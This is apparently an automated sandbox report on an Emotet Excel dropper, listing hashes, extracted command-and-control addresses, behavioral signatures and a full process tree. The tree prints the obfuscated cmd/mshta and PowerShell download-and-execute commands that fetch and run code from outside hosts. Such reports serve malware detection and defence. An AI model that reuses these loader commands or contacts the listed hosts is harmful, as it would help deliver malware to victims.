emotet | 76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5

General

Target

76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5.xls
Size

70KB
MD5

f95aa6d5c18f3036140beb14e3712a44
SHA1

acb3572ae8edea44f053278aac70a3cb22b80411
SHA256

76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5
SHA512

799207488e97f745950f6d57ea83e97398987814536db7c12edf9ef92727183c4c3d6c71bf051c46f6c431996a0dc1ab793195d75820d1ea475b7889ffd321d1

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3588	3780	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
34	1196	mshta.exe
37	1420	powershell.exe
39	1420	powershell.exe
47	876	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1324	rundll32.exe
2204	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Vmcxvk\qhzxnehaqshhpm.eqa	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
424	1196	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3780	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1420	powershell.exe
1420	powershell.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
424	WerFault.exe
1420	powershell.exe
876	rundll32.exe
876	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	424	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE
3780	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 3588	3780	EXCEL.EXE	72
PID 3780 wrote to memory of 3588	3780	EXCEL.EXE	72
PID 3588 wrote to memory of 1196	3588	cmd.exe	74
PID 3588 wrote to memory of 1196	3588	cmd.exe	74
PID 1196 wrote to memory of 1420	1196	mshta.exe	76
PID 1196 wrote to memory of 1420	1196	mshta.exe	76
PID 1420 wrote to memory of 2008	1420	powershell.exe	79
PID 1420 wrote to memory of 2008	1420	powershell.exe	79
PID 2008 wrote to memory of 1324	2008	cmd.exe	80
PID 2008 wrote to memory of 1324	2008	cmd.exe	80
PID 2008 wrote to memory of 1324	2008	cmd.exe	80
PID 1324 wrote to memory of 2204	1324	rundll32.exe	81
PID 1324 wrote to memory of 2204	1324	rundll32.exe	81
PID 1324 wrote to memory of 2204	1324	rundll32.exe	81
PID 2204 wrote to memory of 3540	2204	rundll32.exe	82
PID 2204 wrote to memory of 3540	2204	rundll32.exe	82
PID 2204 wrote to memory of 3540	2204	rundll32.exe	82
PID 3540 wrote to memory of 876	3540	rundll32.exe	83
PID 3540 wrote to memory of 876	3540	rundll32.exe	83
PID 3540 wrote to memory of 876	3540	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1420
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2008
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1324
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2204
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vmcxvk\qhzxnehaqshhpm.eqa",ljImwx
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3540
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vmcxvk\qhzxnehaqshhpm.eqa",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:876
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1196 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:424

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/876-1576-0x0000000005340000-0x0000000005366000-memory.dmp

Filesize
152KB

Download
memory/876-1573-0x0000000003410000-0x0000000003436000-memory.dmp

Filesize
152KB

Download
memory/1324-1537-0x0000000001341000-0x0000000001363000-memory.dmp

Filesize
136KB

Download
memory/1420-1519-0x0000023FAAEC0000-0x0000023FAAF36000-memory.dmp

Filesize
472KB

Download
memory/1420-1489-0x0000023F925D0000-0x0000023F925F2000-memory.dmp

Filesize
136KB

Download
memory/1420-1526-0x0000023F907F0000-0x0000023F908E1000-memory.dmp

Filesize
964KB

Download
memory/1420-1520-0x0000023F907F0000-0x0000023F908E1000-memory.dmp

Filesize
964KB

Download
memory/1420-1521-0x0000023F907F0000-0x0000023F908E1000-memory.dmp

Filesize
964KB

Download
memory/1420-1508-0x0000023FAAE00000-0x0000023FAAE3C000-memory.dmp

Filesize
240KB

Download
memory/2204-1566-0x00000000048F0000-0x0000000004916000-memory.dmp

Filesize
152KB

Download
memory/2204-1546-0x00000000007F0000-0x0000000000816000-memory.dmp

Filesize
152KB

Download
memory/2204-1561-0x0000000000E40000-0x0000000000E66000-memory.dmp

Filesize
152KB

Download
memory/2204-1564-0x0000000004790000-0x00000000047B6000-memory.dmp

Filesize
152KB

Download
memory/2204-1568-0x0000000004950000-0x0000000004976000-memory.dmp

Filesize
152KB

Download
memory/2204-1570-0x0000000004AB0000-0x0000000004AD6000-memory.dmp

Filesize
152KB

Download
memory/3540-1571-0x0000000000140000-0x0000000000166000-memory.dmp

Filesize
152KB

Download
memory/3780-115-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

Filesize
64KB

Download
memory/3780-126-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

Filesize
64KB

Download
memory/3780-116-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads